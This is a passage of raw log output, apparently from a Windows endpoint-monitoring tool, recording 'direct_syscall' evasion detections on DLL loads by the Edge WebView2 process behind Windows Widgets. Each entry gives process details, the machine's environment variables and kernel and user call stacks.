COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93da86ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff8b8807db C:\Windows\System32\netprofm.dll!DllUnregisterServer|0x7fff8b8818dc C:\Windows\System32\netprofm.dll!DllUnregisterServer|0x7fff8b871ef6 C:\Windows\System32\netprofm.dll!DllCanUnloadNow|0x7fff42390e5d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42390aef C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff423908dc C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42390703 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5328 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403748 + Pid: 2880 + Tid: 4900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.20831 +0100 CET + Params: base_address➜ 7fff76bc0000, checksum➜ 68155, default_address➜ 7fff76bc0000, file_path➜ C:\Windows\System32\linkinfo.dll, image_size➜ 61440, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9554d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7fff9554b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7fff9357bcb2 C:\Windows\System32\shell32.dll!SHELL32_SendToMenu_VerifyTargetedCommand|0x7fff9367ffe2 C:\Windows\System32\shell32.dll!PathCleanupSpec|0x7fff904320ac C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7fff9049d3d7 C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_csIconCache|0x7fff9049d0b5 C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_csIconCache|0x7fff904cc4e9 C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7fff904cc485 C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7fff43d261b0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff45532db5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff440169b3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43f82f13 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43b25042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403781 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.2112606 +0100 CET + Params: base_address➜ 7fff393a0000, checksum➜ 3142827, default_address➜ 7fff393a0000, file_path➜ C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ffmpeg.dll, image_size➜ 4009984, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files 